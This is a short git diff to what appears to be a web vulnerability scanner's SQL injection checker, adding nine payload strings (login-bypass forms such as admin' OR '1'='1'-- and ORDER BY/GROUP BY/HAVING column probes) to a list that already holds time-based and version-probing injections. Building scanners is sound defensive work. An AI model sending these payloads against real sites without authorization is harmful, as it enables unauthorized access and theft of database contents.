diff --git a/webscanner/scanner/sql_injection_checker.py b/webscanner/scanner/sql_injection_checker.py index 2dea6fc..7ad5f2f 100644 --- a/webscanner/scanner/sql_injection_checker.py +++ b/webscanner/scanner/sql_injection_checker.py @@ -51,6 +51,15 @@ "\" OR SLEEP(5) -- ", "' OR (SELECT 1 FROM dual WHERE EXISTS(SELECT * FROM users)) -- ", "' AND (SELECT SUBSTRING(@@version,1,1)) = '5' -- ", + "admin' OR '1'='1'--", + "admin')--", + "' OR ''='", + "' OR '1'='1' /*", + "' OR 1=1 ORDER BY 1--", + "' OR 1=1 ORDER BY 100--", + "' OR 1=1 ORDER BY 1,2,3--", + "' OR 1=1 GROUP BY column_names_here--", + "' OR 1=1 HAVING 1=1--", ]